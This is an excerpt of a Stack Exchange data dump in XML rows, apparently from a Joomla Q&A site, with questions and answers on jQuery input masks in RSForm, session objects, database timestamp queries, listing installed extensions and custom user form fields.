  <row Id="13746" PostTypeId="1" AcceptedAnswerId="13747" CreationDate="2015-09-24T15:05:34.560" Score="0" ViewCount="1476" Body="&lt;p&gt;How to create a input Mask with jQuery in RSForms?&#xA;I have try all documentation from RSJoomla without success:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/form-fields/textbox.html&quot; rel=&quot;nofollow&quot;&gt;https://www.rsjoomla.com/support/documentation/rsform-pro/form-fields/textbox.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is in &quot;Input Mask&quot; no &quot;Validation field&quot; &lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2015-09-25T01:02:41.313" LastActivityDate="2015-09-25T01:03:14.887" Title="How to input mask in RsForms?" Tags="|jquery|rsform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13747" PostTypeId="2" ParentId="13746" CreationDate="2015-09-24T15:43:05.173" Score="0" Body="&lt;p&gt;SOLVED for all Forms!!!&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create file like /includes/jquery.maskedinput.js&lt;/li&gt;&#xA;&lt;li&gt;Copy and paste this code from &lt;a href=&quot;https://raw.githubusercontent.com/digitalBush/jquery.maskedinput/1.4.1/dist/jquery.maskedinput.js&quot; rel=&quot;nofollow&quot;&gt;https://raw.githubusercontent.com/digitalBush/jquery.maskedinput/1.4.1/dist/jquery.maskedinput.js&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Propably you have a jQuery library running in your Joomla;&lt;/li&gt;&#xA;&lt;li&gt;Add in index.php after tag body;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&#xA;src=&quot;includes/js/jquery.maskedinput.js&quot; type=&quot;text/javascript&quot;&gt;&#xA;&#xA;jQuery(function($){&#xA;$(&quot;#telefone&quot;).mask(&quot;(99) 9999-9999?9&quot;,{placeholder:&quot; &quot;}); //Where #telefone = #ID Name form label&#xA;$(&quot;#celular&quot;).mask(&quot;(99) 9999-9999?9&quot;,{placeholder:&quot; &quot;}); //Where #celular = #ID Name form label&#xA;});&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Now, all your forms with elements &quot;#telefone&quot; and &quot;#celular&quot; will be masked!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can see complete documentation for this jQuery Masked Input in:&#xA;&lt;a href=&quot;http://digitalbush.com/projects/masked-input-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://digitalbush.com/projects/masked-input-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you dont want edit your index.php file you can add this code in each form you need Masked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Components &gt;&gt; RSForm &gt;&gt; Edit your form &gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tab Proporties &gt;&gt; Tab Script &gt;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paste in Java Script field without &quot;---&quot;. I put this --- for simple copy and paste for others users.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;---script src=&quot;includes/js/jquery.maskedinput.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;---/script&amp;gt;&#xA;&#xA;&amp;lt;---script&amp;gt;&#xA;jQuery(function($){&#xA;&#xA;   $(&quot;#telefone&quot;).mask(&quot;(99) 9999-9999?9&quot;,{placeholder:&quot; &quot;}); //Where #telefone = #ID Name form label&#xA;   $(&quot;#celular&quot;).mask(&quot;(99) 9999-9999?9&quot;,{placeholder:&quot; &quot;});&#xA;   $(&quot;#phone_1_field&quot;).mask(&quot;(99) 9999-9999?9&quot;,{placeholder:&quot; &quot;});&#xA;   $(&quot;#phone_2_field&quot;).mask(&quot;(99) 9999-9999?9&quot;,{placeholder:&quot; &quot;});&#xA;   $(&quot;#fax_field&quot;).mask(&quot;(99) 9999-9999?9&quot;,{placeholder:&quot; &quot;});&#xA;   $(&quot;#zip_field&quot;).mask(&quot;99999-999&quot;,{placeholder:&quot; &quot;});&#xA;&#xA;});&#xA;&amp;lt;---/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2015-09-25T01:03:14.887" LastActivityDate="2015-09-25T01:03:14.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13748" PostTypeId="1" AcceptedAnswerId="13811" CreationDate="2015-09-24T21:35:16.543" Score="6" ViewCount="357" Body="&lt;p&gt;I am trying to store an object in Joomla session and it gets reset when I null the temp variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$whoami = new stdClass();&#xA;$whoami-&amp;gt;type = 's'; $whoami-&amp;gt;id = '1';&#xA;&#xA;//Loading the value to session&#xA;$session-&amp;gt;set('whoami',$whoami);&#xA;&#xA;//Getting the session value to a temp variable&#xA;$temp = $session-&amp;gt;get('whoami');&#xA;print_r($temp); //This prints correct as [type] =&amp;gt; s [id] =&amp;gt; 1&#xA;var_dump($temp);    &#xA;&#xA;//Set the temp id to null&#xA;$temp-&amp;gt;id = null;&#xA;&#xA;//Again get the value from session&#xA;$test1 = $session-&amp;gt;get('whoami');&#xA;print_r($test1);  // [type] =&amp;gt; s [id] =&amp;gt; &#xA;var_dump($test1);   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var_dump&lt;/code&gt; of &lt;code&gt;$temp&lt;/code&gt; and &lt;code&gt;$test1&lt;/code&gt; is as below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$temp&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)#193 (2) {&#xA;  [&quot;type&quot;]=&amp;gt;&#xA;  string(1) &quot;s&quot;&#xA;  [&quot;id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$test1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)#193 (2) {&#xA;  [&quot;type&quot;]=&amp;gt;&#xA;  string(1) &quot;s&quot;&#xA;  [&quot;id&quot;]=&amp;gt;&#xA;  NULL&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assigning null to the temp id reset the value in the session variable... looks wierd...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2015-09-26T17:36:20.200" LastActivityDate="2015-09-30T19:02:27.960" Title="Not able to store a Object in Joomla session" Tags="|joomla-3.4|session|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13749" PostTypeId="2" ParentId="779" CreationDate="2015-09-24T23:09:51.503" Score="1" Body="&lt;p&gt;The following site seems to be an excellent resource for guidelines on how to build a RESTful JSON API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsonapi.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jsonapi.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what it's worth, I am also launching an API product for Joomla 3.4.x called cAPI &lt;a href=&quot;http://getcapi.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://getcapi.org&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary differentiator here is that I staked my routing framework on Slim micro-framework. This allows me to incorporate an already tried and tested, robust framework into the Joomla application instance. I have also create a plugin architecture for the service routes, opening the door for add-ons and web services security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find additional information from other posts, here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/26340885/rest-api-for-joomla-3-0/32706378#32706378&quot;&gt;https://stackoverflow.com/questions/26340885/rest-api-for-joomla-3-0/32706378#32706378&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have any questions.&lt;/p&gt;&#xA;" OwnerUserId="6968" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-09-24T23:09:51.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13753" PostTypeId="1" CreationDate="2015-09-25T09:39:02.137" Score="0" ViewCount="89" Body="&lt;p&gt;I am using the Flexi Code module to display some php in a k2 page.&#xA;This k2 page has a RoomID as extra field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I access it as a variable inside Flexi Code?&lt;/p&gt;&#xA;" OwnerUserId="3696" LastActivityDate="2015-09-25T09:39:02.137" Title="Access k2 extra field from Flexi Code module" Tags="|php|module|k2|variable|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13755" PostTypeId="1" AcceptedAnswerId="13757" CreationDate="2015-09-25T11:28:05.477" Score="4" ViewCount="945" Body="&lt;p&gt;I have data stored in a db table, with an auto timestamp. In a module I want to then display a result based on the latest timestamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not working and I'm getting an error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: strtotime() expects parameter 1 to be string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The query I've written is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Get Latest Update TimeStamp&#xA;$db = JFactory::getDBO();&#xA;$query = &quot;SELECT MAX( timestamp )  &#xA;          FROM #__service_status ORDER BY timestamp DESC LIMIT 1&quot;;&#xA;$db-&amp;gt;setQuery( $query);&#xA;$timestamp = strtotime($db);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I'm trying to echo it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo date(&quot;m-d-Y&quot;, $timestamp);?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastActivityDate="2018-06-19T03:45:27.500" Title="Get Timestamp from Database" Tags="|php|module|joomla-3.4|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13756" PostTypeId="2" ParentId="13675" CreationDate="2015-09-25T11:48:58.243" Score="0" Body="&lt;p&gt;I have been researching and there is not built-in feature in k2 to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can use a joomla compoenent called Fabrik&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/fabrik&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/fabrik&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be other components that allow you to query a DB table and show results in frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With fabrick it is really easy.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-09-25T11:48:58.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13757" PostTypeId="2" ParentId="13755" CreationDate="2015-09-25T11:52:29.410" Score="3" Body="&lt;p&gt;You need to add this in your code, after $db-&gt;setQuery( $query);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery( $query);&#xA;$var1= $db-&amp;gt;loadResult();&#xA;$timestamp = strtotime($var1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this help&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-09-25T11:52:29.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13758" PostTypeId="2" ParentId="8890" CreationDate="2015-09-25T12:01:43.367" Score="2" Body="&lt;p&gt;For me this happened because I had not exported the database properly, that is there were no data just the shell of tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just ensure that insert statements exist in your sql statements&#xA;and by the way.. it not good to post your passwords and usernames here&lt;/p&gt;&#xA;" OwnerUserId="6999" LastActivityDate="2015-09-25T12:01:43.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13760" PostTypeId="1" AcceptedAnswerId="13761" CreationDate="2015-09-25T13:18:01.490" Score="6" ViewCount="2268" Body="&lt;p&gt;I'm not really familiar with Joomla, but I need to write a script that is supposed to list all the installed extensions and their version number, if possible. I've already done this for WordPress, TYPO3 and Drupal, but in Joomla this seems to be a pretty big pain in the ass from what I've seen so far because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;there are three types of extensions, located in three different folders&lt;/li&gt;&#xA;&lt;li&gt;many extensions are present in all three folders upon installation (though the version number is usually found in only one of them)&lt;/li&gt;&#xA;&lt;li&gt;the version number is not documented regularly, and if it is, it's not always in a consistent way. For example I downloaded the plugin &quot;jNews&quot;. On the website, it say &quot;8.5.1&quot; but in the modules folder there is a .xml file &quot;mod_jnews.xml&quot; with the following content:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;-&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&quot;module&quot; version=&quot;1.5.0&quot; ...&amp;gt;&#xA;...&#xA;&amp;lt;version&amp;gt;2.0&amp;lt;/version&amp;gt;&#xA;...&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what is it? 8.5.1? 1.5.0? 2.0? -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having no experience with Joomla whatsoever, I find this pretty confusing, though it may also be a misunderstanding on my part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I actually want to know, though is:&#xA;Is there are reliable way to get all installed Joomla extensions + their version just based on the folder structure and the files within? Or any other way to get this information through a script (Python in my case)?&lt;/p&gt;&#xA;" OwnerUserId="7000" LastActivityDate="2015-09-25T13:37:27.753" Title="Get all installed Joomla extensions and their version" Tags="|component|module|plugin|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13761" PostTypeId="2" ParentId="13760" CreationDate="2015-09-25T13:37:27.753" Score="4" Body="&lt;p&gt;Any extension that is installed, is stored in the database, in the &lt;code&gt;#__extensions&lt;/code&gt; table. So you can run a simply database query to get the name and the manifest cache (which contains the version):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('name', 'manifest_cache')))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__extensions'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach ($results as $extension)&#xA;{&#xA;    $decode = json_decode($extension-&amp;gt;manifest_cache);&#xA;    echo $extension-&amp;gt;name . ' : ' . $decode-&amp;gt;version . '&amp;lt;br&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the above will get all plugins, components, modules, templates, libraries and packages, including default Joomla extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can of course change which types of extensions you'd like to get. For example, if you only want to get components, change the query in the above code to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select($db-&amp;gt;quoteName(array('name', 'manifest_cache', 'type')))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__extensions'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('type') . ' = ' . $db-&amp;gt;quote('component'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-25T13:37:27.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13762" PostTypeId="1" AcceptedAnswerId="13763" CreationDate="2015-09-25T15:57:52.647" Score="1" ViewCount="3012" Body="&lt;p&gt;I'm trying to get a script to work, I got it working in a JSFiddle. I keep getting a TypeError and I'm not sure what's going on. The script is below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, jQuery and jQuery noConflict are being loaded before this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; jQuery(&quot;.icon&quot;).onclick(&#xA; function(){&#xA;  var tab = jQuery(this).attr(&quot;data-tab&quot;);&#xA;     if( jQuery(&quot;.visible&quot;).attr(&quot;data-tab&quot;) != tab ){&#xA;          jQuery(&quot;.visible&quot;).removeClass(&quot;visible&quot;);&#xA;                                                }&#xA;     jQuery(&quot;.content[data-tab='&quot; + tab + &quot;']&quot;).toggleClass(&quot;visible&quot;);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="159" LastEditDate="2015-09-25T19:46:00.790" LastActivityDate="2015-09-25T19:46:00.790" Title="Issue with jQuery script Getting jQuery(...).onclick is not a function" Tags="|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13763" PostTypeId="2" ParentId="13762" CreationDate="2015-09-25T15:59:57.003" Score="1" Body="&lt;p&gt;&lt;code&gt;onclick&lt;/code&gt; is not a jQuery function. You need to use &lt;code&gt;.on('click', function() {....&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;.icon&quot;).on('click', function() {&#xA;&#xA;    var tab = jQuery(this).attr(&quot;data-tab&quot;);&#xA;&#xA;    if (jQuery(&quot;.visible&quot;).attr(&quot;data-tab&quot;) != tab) &#xA;    {&#xA;        jQuery(&quot;.visible&quot;).removeClass(&quot;visible&quot;);&#xA;    }&#xA;&#xA;    jQuery(&quot;.content[data-tab='&quot; + tab + &quot;']&quot;).toggleClass(&quot;visible&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-25T15:59:57.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13769" PostTypeId="2" ParentId="13743" CreationDate="2015-09-26T14:43:17.670" Score="0" Body="&lt;p&gt;I have found it my self , Just need to convert array into string inside the controller class of registration e.g. components/com_users/controllers/registeration.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;inside the function called &quot;register&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if ( is_array( $requestData['groupMember'] )) {&#xA;            $requestData['groupMember'] = implode( ',', $requestData['groupMember'] );&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5846" LastActivityDate="2015-09-26T14:43:17.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13770" PostTypeId="1" CreationDate="2015-09-26T15:16:26.393" Score="3" ViewCount="1841" Body="&lt;p&gt;I am trying to populate multi selected data on to the user management form below the name field of the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have added inside the form, in order to display multi selected data from db. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;File: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;myweb\components\com_users\models\forms\user.xml&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;            name=&quot;groupMember&quot;&#xA;            type=&quot;list&quot;&#xA;            description=&quot;choose cybertechnos groups&quot;&#xA;            label=&quot;Choose Groups&quot;&#xA;            multiple =&quot;true&quot;&#xA;            required=&quot;true&quot;&#xA;            size=&quot;111&quot;&#xA;            &amp;gt;&#xA;&#xA; &amp;lt;option value =&quot;A&quot;&amp;gt;A&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value =&quot;B&quot;&amp;gt;B&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value =&quot;C&quot;&amp;gt;C&amp;lt;/option&amp;gt;&#xA;     &amp;lt;/field&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to populate and convert string coma based value into array, I have added the following code inside: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;myweb\libraries\joomla\table\user.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;just after load data by query in &lt;code&gt;$data&lt;/code&gt; variable inside the load function.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$data[&quot;groupMember&quot;] = explode(',', $data[&quot;groupMember&quot;]);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But when I check my form inside user management panel, I see two problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) It displays the list with tag style rather than multi selected listbox like below picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) It does not display proper selected values which are coming from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is the wrong style it shows in the user management list, &quot;Choose Group&quot;&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hCiZm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hCiZm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I need the below style of &quot;Groups&quot; on user management list&lt;/strong&gt; &#xA;&lt;a href=&quot;https://i.stack.imgur.com/1K6Xg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1K6Xg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5846" LastEditorUserId="126" LastEditDate="2015-10-27T07:25:54.703" LastActivityDate="2019-01-28T04:41:08.170" Title="Populate multi select data into the custom list field of form inside user management" Tags="|joomla-3.x|php|overrides|form|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13773" PostTypeId="2" ParentId="13770" CreationDate="2015-09-27T06:47:43.397" Score="4" Body="&lt;p&gt;You are doing it completely wrong. Never make core changes to files/classes because there are big chances that you will lose everything on the next CMS update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead use &lt;a href=&quot;https://docs.joomla.org/Plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;plugins&lt;/a&gt;. It is the best way to extend core functionality. What you need here is a simple profile plugin. Read the tutorial &lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a profile plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you use a standard &lt;code&gt;list&lt;/code&gt; field with a &lt;code&gt;multiple&lt;/code&gt; attribute, it will always display options in the tag style (not 100% sure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway you can create  &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom form field type&lt;/a&gt; to match your requirements.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="12352" LastEditDate="2019-01-28T04:41:08.170" LastActivityDate="2019-01-28T04:41:08.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13774" PostTypeId="2" ParentId="561" CreationDate="2015-09-27T14:53:08.063" Score="1" Body="&lt;p&gt;I guess you could use something like a package manager like &lt;a href=&quot;https://getcomposer.org/&quot; rel=&quot;nofollow&quot;&gt;Composer&lt;/a&gt;, supported &lt;a href=&quot;https://docs.joomla.org/J3.x:Using_Composer_with_Joomla&quot; rel=&quot;nofollow&quot;&gt;since joomla! 3.4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a nice extension manager via Composer, you can simply write a &lt;code&gt;.json&lt;/code&gt; with all the packages you need and Composer will do the rest&#xA;&lt;a href=&quot;https://github.com/joomlatools/joomla-composer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomlatools/joomla-composer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5650" LastActivityDate="2015-09-27T14:53:08.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13775" PostTypeId="1" CreationDate="2015-09-27T15:10:09.987" Score="0" ViewCount="37" Body="&lt;p&gt;As I add affiliate links from Amazon on my articles (two ads of books from Amazon right now posted at the bottom of the article, &lt;a href=&quot;http://www.sdsolutions.firm.in/life-insurance/item/16-relevance-of-direct-marketing-for-life-insurance-agents-in-rural-india&quot; rel=&quot;nofollow&quot;&gt;http://www.sdsolutions.firm.in/life-insurance/item/16-relevance-of-direct-marketing-for-life-insurance-agents-in-rural-india&lt;/a&gt;), I do not have the flexibility to manipulate images like dragging to the right, left, center or placing a number of images (or clickable ads) side-by-side. Is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2015-09-30T04:33:45.833" Title="HTML code on K2 platform that helps to manipulate clickable images" Tags="|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13776" PostTypeId="1" CreationDate="2015-09-27T16:03:29.960" Score="1" ViewCount="974" Body="&lt;p&gt;is there any way to send email only to some specific joomla user ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do that please ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7010" LastActivityDate="2015-09-28T13:24:52.133" Title="Sending email to some specific user" Tags="|emails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13777" PostTypeId="2" ParentId="13776" CreationDate="2015-09-27T17:03:26.100" Score="2" Body="&lt;p&gt;If you don't want to use an extension, what you can do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new user group&lt;/li&gt;&#xA;&lt;li&gt;Assign these specific users to you newly created group&lt;/li&gt;&#xA;&lt;li&gt;In the Joomla backend, go to &lt;strong&gt;Users&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Mass Mail Users&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here you can select your newly created usergroup which will send an email to all users that belong to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-27T17:03:26.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13778" PostTypeId="1" CreationDate="2015-09-27T17:21:53.243" Score="0" ViewCount="31" Body="&lt;p&gt;I uninstalled a module using: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;admin &gt; extension &gt; module uninstall&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and now I receive this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1146 Table 'zog_16659563_rff.wtbl5_tawkwidget' doesn't exist SQL=SHOW&#xA;  FULL COLUMNS FROM &lt;code&gt;wtbl5_tawkwidget&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any idea how to fix this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7010" LastEditorUserId="126" LastEditDate="2015-09-27T18:05:31.080" LastActivityDate="2015-09-27T19:15:46.380" Title="Problem after uninstalling a module" Tags="|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13779" PostTypeId="1" AcceptedAnswerId="13780" CreationDate="2015-09-27T17:33:58.133" Score="2" ViewCount="417" Body="&lt;p&gt;It maybe something simple, but I keep trying and can't get it done.  I'm using Joomla 3 with a mysql backend that has a custom made procedure (blogvote(i int)) which returns votes and assigns points based on vote - basically it is a simple code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    SELECT FLOOR(COUNT(`vote`)/10) AS POINTS, COUNT(`vote`) AS LIKES FROM `table1`, `table2` b&#xA;WHERE b.`id` = `item_id` AND b.`user_id` = p_user&#xA;AND `vote` = 1&#xA;GROUP BY b.`user_id`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I use a custom made module with php code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require JModuleHelper::getLayoutPath('mod_helloworld');&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $user =&amp;amp; JFactory::getUser();&#xA;//display user name and user id&#xA;    echo &quot;&amp;lt;p&amp;gt;Your name is {$user-&amp;gt;name} and your userid is {$user-&amp;gt;id}&amp;lt;/p&amp;gt;&quot;;&#xA;//get logged in user id to put into procedure call&#xA;    $userval = $user-&amp;gt;id;&#xA;    //create query call to procedure&#xA;    $query = &quot;CALL 